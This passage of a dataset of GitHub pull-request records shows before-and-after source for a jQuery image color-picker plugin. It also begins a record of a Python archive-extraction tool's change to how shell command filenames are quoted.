{\n    var pixel =  ((point.y * imageData.width) + point.x) * 4;\n\n    return { red: imageData.data[pixel],\n             green: imageData.data[(pixel + 1)],\n             blue: imageData.data[(pixel + 2)] }\n\n  }\n\n\tvar updateCurrentColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\t}\n\n\tvar updateSelectedColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// set new selected color\n\t\tvar newColor = [red, green, blue];\n\t\twidget.color = newColor;\n\t}\n\n\treturn {\n\t\t// default options\n\t\toptions: {\n\n\t\t},\n\n\t\t_create: function() {\n\t\t\tif (this.element.get(0).tagName.toLowerCase() === 'img') {\n\t\t\t\tif (this.element.get(0).complete) {\n\t\t\t\t\t_createImageColorPicker(this);\n\t\t\t\t} else {\n\t\t\t\t\tthis.element.bind('load', { that: this }, function(e){\n\t\t\t\t\t\tvar that = e.data.that;\n\t\t\t\t\t\t_createImageColorPicker(that);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tdestroy: function() {\n\t\t\t// default destroy\n\t\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\n\t\t\t// remove possible large array with pixel data\n\t\t\tthis.imageData = null;\n\n\t\t\t// remove additional elements\n\t\t\tthis.$canvas.remove();\n\t\t\tthis.element.unwrap();\n\t\t\tthis.element.show();\n\t\t},\n\n\t\tselectedColor: function() {\n\t\t\treturn \"#\" + _d2h(this.color[0]) + _d2h(this.color[1]) + _d2h(this.color[2]);\n\t\t}\n\n\t};\n}();\n\t$.widget(\"ui.ImageColorPicker\", uiImageColorPicker);\n})();\n", "dist/jquery.ImageColorPicker.min.js": "/*!\n* jQuery ImageColorPicker Plugin v0.2\n* http://github.com/Skarabaeus/ImageColorPicker\n*\n* Copyright 2010, Stefan Siebel\n* Licensed under the MIT license.\n* http://github.com/Skarabaeus/ImageColorPicker/MIT-LICENSE.txt\n* \n* Released under the MIT\n*\n* Date: Tue May 17 11:20:16 2011 -0700\n*/\n(function(){var n=function(){var g=function(a){a=isNaN(parseInt(a))?a:parseInt(a).toString(16);if(a.length===1)a=\"0\"+a;return a},k=function(a){a.ctx=null;a.color=[0,0,0];a.$canvas=$('<canvas class=\"ImageColorPickerCanvas\"></canvas>');a.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');a.$wrapper=a.element.parent();a.$wrapper.append(a.$canvas);if(typeof a.$canvas.get(0).getContext===\"function\")a.ctx=a.$canvas.get(0).getContext(\"2d\");else{a.destroy();console&&console.log(\"ImageColor Picker: Can't get canvas context. Use Firefox, Chrome or include excanvas to your project.\")}var c=\nnew Image;c.src=a.element.attr(\"src\");a.$canvas.attr(\"width\",c.width);a.$canvas.attr(\"height\",c.height);a.ctx.drawImage(c,0,0);try{try{a.imageData=a.ctx.getImageData(0,0,c.width,c.height)}catch(d){netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");a.imageData=a.ctx.getImageData(0,0,c.width,c.height)}}catch(e){a.destroy();console&&console.log(\"ImageColor Picker: Unable to access image data. This could be either due to the browser you are using (IE doesn't work) or image and script are saved on different servers or you run the script locally. \")}a.element.hide();\na.$canvas.bind(\"mousemove\",function(b){b=h(a,b.pageX,b.pageY);b=i(a.imageData,b);j(a,b.red,b.green,b.blue)});a.$canvas.bind(\"click\",function(b){b=h(a,b.pageX,b.pageY);b=i(a.imageData,b);m(a,b.red,b.green,b.blue);a._trigger(\"afterColorSelected\",0,a.selectedColor())});a.$canvas.bind(\"mouseleave\",function(){j(a,255,255,255)});$(window).unload(function(){a.destroy()})},h=function(a,c,d){a=a.$canvas.offset();return{x:Math.round(c-a.left),y:Math.round(d-a.top)}},i=function(a,c){c=(c.y*a.width+c.x)*4;return{red:a.data[c],\ngreen:a.data[c+1],blue:a.data[c+2]}},j=function(a,c,d,e){var b=a.ctx,f=a.$canvas.attr(\"width\");a=a.$canvas.attr(\"height\");b.fillStyle=\"rgb(\"+c+\",\"+d+\",\"+e+\")\";b.fillRect(f-62,a-32,30,30);b.lineWidth=\"3\";b.lineJoin=\"round\";b.strokeRect(f-62,a-32,30,30)},m=function(a,c,d,e){var b=a.ctx,f=a.$canvas.attr(\"width\"),l=a.$canvas.attr(\"height\");b.fillStyle=\"rgb(\"+c+\",\"+d+\",\"+e+\")\";b.fillRect(f-32,l-32,30,30);b.lineWidth=\"3\";b.lineJoin=\"round\";b.strokeRect(f-32,l-32,30,30);a.color=[c,d,e]};return{options:{},\n_create:function(){if(this.element.get(0).tagName.toLowerCase()===\"img\")this.element.get(0).complete?k(this):this.element.bind(\"load\",{that:this},function(a){k(a.data.that)})},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);this.imageData=null;this.$canvas.remove();this.element.unwrap();this.element.show()},selectedColor:function(){return\"#\"+g(this.color[0])+g(this.color[1])+g(this.color[2])}}}();$.widget(\"ui.ImageColorPicker\",n)})();\n", "src/ImageColorPicker.js": "var uiImageColorPicker = function(){\n\n\tvar _d2h = function(d) {\n\t\tvar result;\n\t\tif (! isNaN( parseInt(d) ) ) {\n\t\t\tresult = parseInt(d).toString(16);\n\t\t} else {\n\t\t\tresult = d;\n\t\t}\n\n\t\tif (result.length === 1) {\n\t\t\tresult = \"0\" + result;\n\t\t}\n\t\treturn result;\n\t};\n\n\tvar _h2d = function(h) {\n\t\treturn parseInt(h,16);\n\t};\n\n\tvar _createImageColorPicker = function(widget) {\n\t\t// store 2D context in widget for later access\n\t\twidget.ctx = null;\n\n\t\t// rgb\n\t\twidget.color = [0, 0, 0];\n\n\t\t// create additional DOM elements.\n\t\twidget.$canvas = $('<canvas class=\"ImageColorPickerCanvas\"></canvas>');\n\n\t\t// add them to the DOM\n\t\twidget.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');\n\t\twidget.$wrapper = widget.element.parent();\n\t\twidget.$wrapper.append(widget.$canvas);\n\n\t\tif (typeof(widget.$canvas.get(0).getContext) === 'function') { // FF, Chrome, ...\n\t\t\twidget.ctx = widget.$canvas.get(0).getContext('2d');\n\n\t\t// this does not work yet!\n\t\t} else {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Can't get canvas context. Use \"\n\t\t\t\t\t+ \"Firefox, Chrome or include excanvas to your project.\");\n\t\t\t}\n\n\t\t}\n\n\t\t// draw the image in the canvas\n\t\tvar img = new Image();\n\t\timg.src = widget.element.attr(\"src\");\n\t\twidget.$canvas.attr(\"width\", img.width);\n\t\twidget.$canvas.attr(\"height\", img.height);\n\t\twidget.ctx.drawImage(img, 0, 0);\n\n\t\t// get the image data.\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t} catch (e1) {\n\t\t\t\tnetscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t}\n\t\t} catch (e2) {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Unable to access image data. \"\n\t\t\t\t\t+ \"This could be either due \"\n\t\t\t\t\t+ \"to the browser you are using (IE doesn't work) or image and script \"\n\t\t\t\t\t+ \"are saved on different servers or you run the script locally. \");\n\t\t\t}\n\t\t}\n\n\t\t// hide the original image\n\t\twidget.element.hide();\n\n\t\t// for usage in events\n\t\tvar that = widget;\n\n\t\twidget.$canvas.bind(\"mousemove\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateCurrentColor( that, color.red, color.green, color.blue );\n\t\t});\n\n\t\twidget.$canvas.bind(\"click\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateSelectedColor( that, color.red, color.green, color.blue );\n\t\t\tthat._trigger(\"afterColorSelected\", 0, that.selectedColor());\n\t\t});\n\n\t\twidget.$canvas.bind(\"mouseleave\", function(e){\n\t\t\tupdateCurrentColor(that, 255, 255, 255);\n\t\t});\n\n\t\t// hope that helps to prevent memory leaks\n\t\t$(window).unload(function(e){\n\t\t\tthat.destroy();\n\t\t});\n\t};\n\n  // for pageX and pageY, determine image coordinates using offset\n  var imageCoordinates = function( widget, pageX, pageY ) {\n    var offset = widget.$canvas.offset();\n\n    return { x: Math.round( pageX - offset.left ),\n             y: Math.round( pageY - offset.top ) };\n  }\n\n  // lookup color values for point [x,y] location in image\n  var lookupColor = function( imageData, point) {\n    var pixel =  ((point.y * imageData.width) + point.x) * 4;\n\n    return { red: imageData.data[pixel],\n             green: imageData.data[(pixel + 1)],\n             blue: imageData.data[(pixel + 2)] }\n\n  }\n\n\tvar updateCurrentColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\t}\n\n\tvar updateSelectedColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// set new selected color\n\t\tvar newColor = [red, green, blue];\n\t\twidget.color = newColor;\n\t}\n\n\treturn {\n\t\t// default options\n\t\toptions: {\n\n\t\t},\n\n\t\t_create: function() {\n\t\t\tif (this.element.get(0).tagName.toLowerCase() === 'img') {\n\t\t\t\tif (this.element.get(0).complete) {\n\t\t\t\t\t_createImageColorPicker(this);\n\t\t\t\t} else {\n\t\t\t\t\tthis.element.bind('load', { that: this }, function(e){\n\t\t\t\t\t\tvar that = e.data.that;\n\t\t\t\t\t\t_createImageColorPicker(that);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tdestroy: function() {\n\t\t\t// default destroy\n\t\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\n\t\t\t// remove possible large array with pixel data\n\t\t\tthis.imageData = null;\n\n\t\t\t// remove additional elements\n\t\t\tthis.$canvas.remove();\n\t\t\tthis.element.unwrap();\n\t\t\tthis.element.show();\n\t\t},\n\n\t\tselectedColor: function() {\n\t\t\treturn \"#\" + _d2h(this.color[0]) + _d2h(this.color[1]) + _d2h(this.color[2]);\n\t\t}\n\n\t};\n}();\n"}, "files_after": {"dist/jquery.ImageColorPicker.js": "/*!\n* jQuery ImageColorPicker Plugin v0.2\n* http://github.com/Skarabaeus/ImageColorPicker\n*\n* Copyright 2010, Stefan Siebel\n* Licensed under the MIT license.\n* http://github.com/Skarabaeus/ImageColorPicker/MIT-LICENSE.txt\n* \n* Released under the MIT\n*\n* Date: Tue May 17 11:20:16 2011 -0700\n*/\n(function(){\nvar uiImageColorPicker = function(){\n\n\tvar _d2h = function(d) {\n\t\tvar result;\n\t\tif (! isNaN( parseInt(d) ) ) {\n\t\t\tresult = parseInt(d).toString(16);\n\t\t} else {\n\t\t\tresult = d;\n\t\t}\n\n\t\tif (result.length === 1) {\n\t\t\tresult = \"0\" + result;\n\t\t}\n\t\treturn result;\n\t};\n\n\tvar _h2d = function(h) {\n\t\treturn parseInt(h,16);\n\t};\n\n\tvar _createImageColorPicker = function(widget) {\n\t\t// store 2D context in widget for later access\n\t\twidget.ctx = null;\n\n\t\t// rgb\n\t\twidget.color = [0, 0, 0];\n\n\t\t// create additional DOM elements.\n\t\twidget.$canvas = $('<canvas class=\"ImageColorPickerCanvas\"></canvas>');\n\n\t\t// add them to the DOM\n\t\twidget.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');\n\t\twidget.$wrapper = widget.element.parent();\n\t\twidget.$wrapper.append(widget.$canvas);\n\n\t\tif (typeof(widget.$canvas.get(0).getContext) === 'function') { // FF, Chrome, ...\n\t\t\twidget.ctx = widget.$canvas.get(0).getContext('2d');\n\n\t\t// this does not work yet!\n\t\t} else {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Can't get canvas context. Use \"\n\t\t\t\t\t+ \"Firefox, Chrome or include excanvas to your project.\");\n\t\t\t}\n\n\t\t}\n\n\t\t// draw the image in the canvas\n\t\tvar img = new Image();\n\t\timg.src = widget.element.attr(\"src\");\n\t\twidget.$canvas.attr(\"width\", img.width);\n\t\twidget.$canvas.attr(\"height\", img.height);\n\t\twidget.ctx.drawImage(img, 0, 0);\n\n\t\t// get the image data.\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t} catch (e1) {\n\t\t\t\tnetscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t}\n\t\t} catch (e2) {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Unable to access image data. \"\n\t\t\t\t\t+ \"This could be either due \"\n\t\t\t\t\t+ \"to the browser you are using (IE doesn't work) or image and script \"\n\t\t\t\t\t+ \"are saved on different servers or you run the script locally. \");\n\t\t\t}\n\t\t}\n\n\t\t// hide the original image\n\t\twidget.element.hide();\n\n\t\t// for usage in events\n\t\tvar that = widget;\n\n\t\twidget.$canvas.bind(\"mousemove\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateCurrentColor( that, color.red, color.green, color.blue );\n\t\t});\n\n\t\twidget.$canvas.bind(\"click\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateSelectedColor( that, color.red, color.green, color.blue );\n\t\t\tthat._trigger(\"afterColorSelected\", 0, that.selectedColor());\n\t\t});\n\n\t\twidget.$canvas.bind(\"mouseleave\", function(e){\n\t\t\tupdateCurrentColor(that, 255, 255, 255);\n\t\t});\n\n\t\t// hope that helps to prevent memory leaks\n\t\t$(window).unload(function(e){\n\t\t\tthat.destroy();\n\t\t});\n\t};\n\n  // for pageX and pageY, determine image coordinates using offset\n  var imageCoordinates = function( widget, pageX, pageY ) {\n    var offset = widget.$canvas.offset();\n\n    return { x: Math.round( pageX - offset.left ),\n             y: Math.round( pageY - offset.top ) };\n  }\n\n  // lookup color values for point [x,y] location in image\n  var lookupColor = function( imageData, point) {\n    var pixel =  ((point.y * imageData.width) + point.x) * 4;\n\n    return { red: imageData.data[pixel],\n             green: imageData.data[(pixel + 1)],\n             blue: imageData.data[(pixel + 2)] }\n\n  }\n\n\tvar updateCurrentColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\t}\n\n\tvar updateSelectedColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// set new selected color\n\t\tvar newColor = [red, green, blue];\n\t\twidget.color = newColor;\n\t}\n\n\treturn {\n\t\t// default options\n\t\toptions: {\n\n\t\t},\n\n\t\t_create: function() {\n\t\t\tif (this.element.get(0).tagName.toLowerCase() === 'img') {\n\t\t\t\tif (this.element.get(0).complete) {\n\t\t\t\t\t_createImageColorPicker(this);\n\t\t\t\t} else {\n\t\t\t\t\tthis.element.bind('load', { that: this }, function(e){\n\t\t\t\t\t\tvar that = e.data.that;\n\t\t\t\t\t\t_createImageColorPicker(that);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tdestroy: function() {\n\t\t\t// default destroy\n\t\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\n\t\t\t// remove possible large array with pixel data\n\t\t\tthis.imageData = null;\n\n\t\t\t// remove additional elements\n\t\t\tthis.$canvas.remove();\n\t\t\tthis.element.unbind('load');\n\t\t\tthis.element.unwrap();\n\t\t\tthis.element.show();\n\t\t},\n\n\t\tselectedColor: function() {\n\t\t\treturn \"#\" + _d2h(this.color[0]) + _d2h(this.color[1]) + _d2h(this.color[2]);\n\t\t}\n\n\t};\n}();\n\t$.widget(\"ui.ImageColorPicker\", uiImageColorPicker);\n})();\n", "dist/jquery.ImageColorPicker.min.js": "/*!\n* jQuery ImageColorPicker Plugin v0.2\n* http://github.com/Skarabaeus/ImageColorPicker\n*\n* Copyright 2010, Stefan Siebel\n* Licensed under the MIT license.\n* http://github.com/Skarabaeus/ImageColorPicker/MIT-LICENSE.txt\n* \n* Released under the MIT\n*\n* Date: Tue May 17 11:20:16 2011 -0700\n*/\n(function(){var n=function(){var g=function(a){a=isNaN(parseInt(a))?a:parseInt(a).toString(16);if(a.length===1)a=\"0\"+a;return a},k=function(a){a.ctx=null;a.color=[0,0,0];a.$canvas=$('<canvas class=\"ImageColorPickerCanvas\"></canvas>');a.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');a.$wrapper=a.element.parent();a.$wrapper.append(a.$canvas);if(typeof a.$canvas.get(0).getContext===\"function\")a.ctx=a.$canvas.get(0).getContext(\"2d\");else{a.destroy();console&&console.log(\"ImageColor Picker: Can't get canvas context. Use Firefox, Chrome or include excanvas to your project.\")}var c=\nnew Image;c.src=a.element.attr(\"src\");a.$canvas.attr(\"width\",c.width);a.$canvas.attr(\"height\",c.height);a.ctx.drawImage(c,0,0);try{try{a.imageData=a.ctx.getImageData(0,0,c.width,c.height)}catch(d){netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");a.imageData=a.ctx.getImageData(0,0,c.width,c.height)}}catch(e){a.destroy();console&&console.log(\"ImageColor Picker: Unable to access image data. This could be either due to the browser you are using (IE doesn't work) or image and script are saved on different servers or you run the script locally. \")}a.element.hide();\na.$canvas.bind(\"mousemove\",function(b){b=h(a,b.pageX,b.pageY);b=i(a.imageData,b);j(a,b.red,b.green,b.blue)});a.$canvas.bind(\"click\",function(b){b=h(a,b.pageX,b.pageY);b=i(a.imageData,b);m(a,b.red,b.green,b.blue);a._trigger(\"afterColorSelected\",0,a.selectedColor())});a.$canvas.bind(\"mouseleave\",function(){j(a,255,255,255)});$(window).unload(function(){a.destroy()})},h=function(a,c,d){a=a.$canvas.offset();return{x:Math.round(c-a.left),y:Math.round(d-a.top)}},i=function(a,c){c=(c.y*a.width+c.x)*4;return{red:a.data[c],\ngreen:a.data[c+1],blue:a.data[c+2]}},j=function(a,c,d,e){var b=a.ctx,f=a.$canvas.attr(\"width\");a=a.$canvas.attr(\"height\");b.fillStyle=\"rgb(\"+c+\",\"+d+\",\"+e+\")\";b.fillRect(f-62,a-32,30,30);b.lineWidth=\"3\";b.lineJoin=\"round\";b.strokeRect(f-62,a-32,30,30)},m=function(a,c,d,e){var b=a.ctx,f=a.$canvas.attr(\"width\"),l=a.$canvas.attr(\"height\");b.fillStyle=\"rgb(\"+c+\",\"+d+\",\"+e+\")\";b.fillRect(f-32,l-32,30,30);b.lineWidth=\"3\";b.lineJoin=\"round\";b.strokeRect(f-32,l-32,30,30);a.color=[c,d,e]};return{options:{},\n_create:function(){if(this.element.get(0).tagName.toLowerCase()===\"img\")this.element.get(0).complete?k(this):this.element.bind(\"load\",{that:this},function(a){k(a.data.that)})},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);this.imageData=null;this.$canvas.remove();this.element.unbind('load');this.element.unwrap();this.element.show()},selectedColor:function(){return\"#\"+g(this.color[0])+g(this.color[1])+g(this.color[2])}}}();$.widget(\"ui.ImageColorPicker\",n)})();\n", "src/ImageColorPicker.js": "var uiImageColorPicker = function(){\n\n\tvar _d2h = function(d) {\n\t\tvar result;\n\t\tif (! isNaN( parseInt(d) ) ) {\n\t\t\tresult = parseInt(d).toString(16);\n\t\t} else {\n\t\t\tresult = d;\n\t\t}\n\n\t\tif (result.length === 1) {\n\t\t\tresult = \"0\" + result;\n\t\t}\n\t\treturn result;\n\t};\n\n\tvar _h2d = function(h) {\n\t\treturn parseInt(h,16);\n\t};\n\n\tvar _createImageColorPicker = function(widget) {\n\t\t// store 2D context in widget for later access\n\t\twidget.ctx = null;\n\n\t\t// rgb\n\t\twidget.color = [0, 0, 0];\n\n\t\t// create additional DOM elements.\n\t\twidget.$canvas = $('<canvas class=\"ImageColorPickerCanvas\"></canvas>');\n\n\t\t// add them to the DOM\n\t\twidget.element.wrap('<div class=\"ImageColorPickerWrapper\"></div>');\n\t\twidget.$wrapper = widget.element.parent();\n\t\twidget.$wrapper.append(widget.$canvas);\n\n\t\tif (typeof(widget.$canvas.get(0).getContext) === 'function') { // FF, Chrome, ...\n\t\t\twidget.ctx = widget.$canvas.get(0).getContext('2d');\n\n\t\t// this does not work yet!\n\t\t} else {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Can't get canvas context. Use \"\n\t\t\t\t\t+ \"Firefox, Chrome or include excanvas to your project.\");\n\t\t\t}\n\n\t\t}\n\n\t\t// draw the image in the canvas\n\t\tvar img = new Image();\n\t\timg.src = widget.element.attr(\"src\");\n\t\twidget.$canvas.attr(\"width\", img.width);\n\t\twidget.$canvas.attr(\"height\", img.height);\n\t\twidget.ctx.drawImage(img, 0, 0);\n\n\t\t// get the image data.\n\t\ttry {\n\t\t\ttry {\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t} catch (e1) {\n\t\t\t\tnetscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");\n\t\t\t\twidget.imageData = widget.ctx.getImageData(0, 0, img.width, img.height);\n\t\t\t}\n\t\t} catch (e2) {\n\t\t\twidget.destroy();\n\t\t\tif (console) {\n\t\t\t\tconsole.log(\"ImageColor Picker: Unable to access image data. \"\n\t\t\t\t\t+ \"This could be either due \"\n\t\t\t\t\t+ \"to the browser you are using (IE doesn't work) or image and script \"\n\t\t\t\t\t+ \"are saved on different servers or you run the script locally. \");\n\t\t\t}\n\t\t}\n\n\t\t// hide the original image\n\t\twidget.element.hide();\n\n\t\t// for usage in events\n\t\tvar that = widget;\n\n\t\twidget.$canvas.bind(\"mousemove\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateCurrentColor( that, color.red, color.green, color.blue );\n\t\t});\n\n\t\twidget.$canvas.bind(\"click\", function(e){\n      var point = imageCoordinates( that, e.pageX, e.pageY );\n      var color = lookupColor( that.imageData, point );\n\n      updateSelectedColor( that, color.red, color.green, color.blue );\n\t\t\tthat._trigger(\"afterColorSelected\", 0, that.selectedColor());\n\t\t});\n\n\t\twidget.$canvas.bind(\"mouseleave\", function(e){\n\t\t\tupdateCurrentColor(that, 255, 255, 255);\n\t\t});\n\n\t\t// hope that helps to prevent memory leaks\n\t\t$(window).unload(function(e){\n\t\t\tthat.destroy();\n\t\t});\n\t};\n\n  // for pageX and pageY, determine image coordinates using offset\n  var imageCoordinates = function( widget, pageX, pageY ) {\n    var offset = widget.$canvas.offset();\n\n    return { x: Math.round( pageX - offset.left ),\n             y: Math.round( pageY - offset.top ) };\n  }\n\n  // lookup color values for point [x,y] location in image\n  var lookupColor = function( imageData, point) {\n    var pixel =  ((point.y * imageData.width) + point.x) * 4;\n\n    return { red: imageData.data[pixel],\n             green: imageData.data[(pixel + 1)],\n             blue: imageData.data[(pixel + 2)] }\n\n  }\n\n\tvar updateCurrentColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 62, canvasHeight - 32, 30, 30);\n\t}\n\n\tvar updateSelectedColor = function(widget, red, green, blue) {\n\t\tvar c = widget.ctx;\n\t\tvar canvasWidth = widget.$canvas.attr(\"width\");\n\t\tvar canvasHeight = widget.$canvas.attr(\"height\");\n\n\t\t// draw current Color\n\t\tc.fillStyle = \"rgb(\" + red + \",\" + green + \",\" + blue + \")\";\n\t\tc.fillRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// draw border\n\t\tc.lineWidth = \"3\"\n\t\tc.lineJoin = \"round\";\n\t\tc.strokeRect (canvasWidth - 32, canvasHeight - 32, 30, 30);\n\n\t\t// set new selected color\n\t\tvar newColor = [red, green, blue];\n\t\twidget.color = newColor;\n\t}\n\n\treturn {\n\t\t// default options\n\t\toptions: {\n\n\t\t},\n\n\t\t_create: function() {\n\t\t\tif (this.element.get(0).tagName.toLowerCase() === 'img') {\n\t\t\t\tif (this.element.get(0).complete) {\n\t\t\t\t\t_createImageColorPicker(this);\n\t\t\t\t} else {\n\t\t\t\t\tthis.element.bind('load', { that: this }, function(e){\n\t\t\t\t\t\tvar that = e.data.that;\n\t\t\t\t\t\t_createImageColorPicker(that);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tdestroy: function() {\n\t\t\t// default destroy\n\t\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\n\t\t\t// remove possible large array with pixel data\n\t\t\tthis.imageData = null;\n\n\t\t\t// remove additional elements\n\t\t\tthis.$canvas.remove();\n\t\t\tthis.element.unbind('load');\n\t\t\tthis.element.unwrap();\n\t\t\tthis.element.show();\n\t\t},\n\n\t\tselectedColor: function() {\n\t\t\treturn \"#\" + _d2h(this.color[0]) + _d2h(this.color[1]) + _d2h(this.color[2]);\n\t\t}\n\n\t};\n}();\n"}}
{"repo": "Fantomas42/easy-extract", "pr_number": 2, "title": "Handle spaces by quoting the command string instead of escaping", "state": "closed", "merged_at": null, "additions": 10, "deletions": 10, "files_changed": ["easy_extract/__init__.py", "easy_extract/archive.py", "easy_extract/archives/hj_split.py", "easy_extract/archives/media.py", "easy_extract/archives/rar.py", "easy_extract/archives/seven_zip.py", "easy_extract/archives/xtm.py"], "files_before": {"easy_extract/__init__.py": "\"\"\"easy_extract module\"\"\"\n__version__ = '0.1.2'\n__license__ = 'GPL'\n\n__author__ = 'Fantomas42'\n__email__ = 'fantomas42@gmail.com'\n\n__url__ = 'https://github.com/Fantomas42/easy-extract'\n", "easy_extract/archive.py": "\"\"\"Archive collection modules\"\"\"\nimport os\n\nCHAR_TO_ESCAPE = (' ', '(', ')', '*', \"'\", '\"', '&')\n\n\nclass BaseFileCollection(object):\n    \"\"\"Base file collection\"\"\"\n\n    def __init__(self, name, path='.', filenames=[]):\n        self.name = name\n        self.path = path\n        self.filenames = filenames\n\n    @property\n    def files(self):\n        return self.filenames\n\n    def escape_filename(self, filename):\n        \"\"\"Escape a filename\"\"\"\n        for char in CHAR_TO_ESCAPE:\n            filename = filename.replace(char, '\\%s' % char)\n        return filename\n\n    def get_path_filename(self, filename):\n        \"\"\"Concatenate path and filename\"\"\"\n        return os.path.join(self.path, filename)\n\n    def get_command_filename(self, filename):\n        